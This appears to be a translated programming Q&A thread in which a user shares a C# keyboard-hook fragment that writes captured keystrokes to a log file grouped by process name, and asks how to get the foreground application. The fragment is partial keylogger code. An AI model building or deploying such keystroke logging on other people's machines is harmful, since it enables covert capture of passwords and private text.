0
I made a program to pick up the user’s current process, but only what it takes is " Consoleapplication1.vshost" ( Consoleapplication1 is the name of the program), even in windows like Google Chrome, etc. Code:
Process process = Process.GetCurrentProcess();
int vkCode = Marshal.ReadInt32(lParam);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
process = Process.GetCurrentProcess();
if (x == process.ProcessName)
sw.Write((Keys)vkCode);
else
{
x = process.ProcessName;
sw.Write("\n{0}", x);
}
sw.Close();
Am I doing this the wrong way? How can I get the current process that the user is using right?
I tried to do it that way and it didn’t work:
string y = GetForegroundWindow().ToString();
– Francisco
That’s not how you use it. See an example here. http://www.pinvoke.net/default.aspx/user32.getforegroundwindow
– lcssanches
If I copy and paste it: Error CS0103 The name "Applicationstate" does not exist in the current context Consoleapplication1 77 Active
– Francisco
Look, you should study a little more about how to use the Windows API in C# (or VB.net). It is with them that you will achieve your goal.
– lcssanches